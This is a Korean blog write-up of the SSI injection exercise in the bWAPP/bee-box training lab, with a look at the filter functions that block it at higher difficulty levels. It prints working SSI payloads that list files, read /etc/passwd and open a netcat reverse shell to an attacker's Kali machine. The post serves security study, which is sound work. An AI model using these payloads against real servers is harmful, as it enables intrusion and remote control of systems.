SSI Injection

반응형

SSI이란?

HTML 페이지의 전체 코드를 수정하지 않고 공통 모듈 파일로 관리하며 동적인 내용을 추가하기 위해 만들어진 기능으로 주로 방문자 수 세거나 홈페이지 로고 수정  등 간단한 기능 추가할 때 사용한다. 또한 '.shtml' 확장자 파일을 사용한다.

 

실습하기

bee-box에 들어가서 Server-Side Includes(SSI) Injection 선택 후 hack을 누르면

다음과 같이 나온다. 이제 이 페이지가 어떻게 작동 되는지 알아보기 위해

이름을 입력해 보겠다.

이름을 입력하고 Lookup을 누르면 다음과 같이 이름과 현재 나의 IP주소를 알려준다.

여기서 눈 여겨 봐야할거은 URL이다.

URL을 확인해보면 끝에 .shtml로 끝난다. 

맞다. 이 페이지는 SSI를 사용하는 페이지이다.

이제 SSI 인젝션이 먹히는지 확인하기 위해 SSI 지시어를 넣어보기로했다.

SSI 지시어

<!--#명령어 -->

->   <!--#echo var = "DATE_LOCAL" -->

-> DATE_LOCAL = 현재 시간을 출력해주는 지시어

다음과 같은 SSI 지시어를 넣어보면

현재 시간을 출력해준다.

이제  명령어를 실행하기 위해 속성부분을 'cmd'로 변경해주고(exec cmd) ls 명령어를 입력한다.

-> <--#exec cmd="ls" -->

입력하면

현재 디렉터리 하위에 있는 디렉터리와 파일 목록을 출력해준다.

다음으로 cat 명령어를 이용하여 passwd 파일의 내용을 출력하는 SSI 지시어를 주입해 passwd 파일의 내용을 출력해준다.

-> <!--#exec cmd="cat /etc/passwd" -->

입력하면

passwd 파일의 내용을 출력해준다.

이제 netcat을 이용하여 악의적인 스크립트 파일을 서버에 추가해보자

netcat은 앞에 취약점 공격에서도 많이 사용해 보았으므로 자세한 설명은 생략하겠다.

순서

1. 칼리 접속 후 터미널을 열어 listening 모드로 전환

2. bWAPP에서 nc 연결 허용(<!--#exec cmd="nc ip주소 포트번호 -e /bin/bash" -->)

3. 칼리에 돌아와서 명령어 입력을 하였을 때 값이 나오면 성공

다음과 같이 명령어를 입력하면 프롬프트도 생성이 가능하다.

이제 해당 페이지의 정보를 얻을 수 있다.

 

난이도 - (medium, high)

난이도 중, 상 문제는 항상 코드부터 봐야한다.

gedit으로 ssii.php 파일을 열면

난이도 (중)에 해당하는 case"1"은 xss_check_4 함수가 (상)에 해당하는 case "2"는 xss_check_3 함수가 적용되어 있다.

다음 함수가 무슨 함수인지는 functions_external.php에 정의되어 있으므로 functions_external.php를 확인해보자

들어가보면

다음과 같은 코드를 확인할 수 있다.

먼저 xss_check_3에 적용되어 있는 htmlspecialchars 함수는 php code injection에서 이미 설명했다.

https://tkdrms568.tistory.com/140

 

[bee-box]PHP Code Injection

PHP Code Injection이란? 웹 어플리케이션을 통해 PHP 코드를 입력하면, 웹 어플리케이션의 입력을 정상적으로 인식하여 개발자가 의도와는 다르게 내부에 있는 PHP 코드를 실행하는 기법이다. 이제 bWAPP에 들어..

tkdrms568.tistory.com

쉽게 말해 스크립트나 특수기호를 그 자체로 보이게 하여 작동을 안하게 만드는 함수이다.

다음으로 addslashes 함수는 sql_injection(get/search)방식에서 설명하였다.

https://tkdrms568.tistory.com/138

 

[bee-box]SQL Injection(Get/Search)

SQL Injection 코드 인젝션의 한 기법으로 클라이언트의 입력값을 조작하여 서버의 데이터 베이스를 공겨할 수 있는 공격방식 주로 사용자가 입력한 데이터를 제대로 필터링 하지 않았을 경우 발생한다 공격은 쉬..

tkdrms568.tistory.com

쉽게 말해 특수기호에 이스케이프 문자를 추가하여 인식을 못하게 해주는 함수이다.

특수문자를 페이지에서 인식을 하지 못하므로 공격을 수행할 수 없다.

반응형

'웹해킹 > bee-box' 카테고리의 다른 글

SQL-Injection(POST/Select)  (0) 2019.08.02
SQL Injection(GET/Select)  (0) 2019.08.01
OS Command Injection  (0) 2019.07.31
SQL Injection(Post/Search)  (0) 2019.07.30
SQL Injection(Get/Search)  (0) 2019.07.29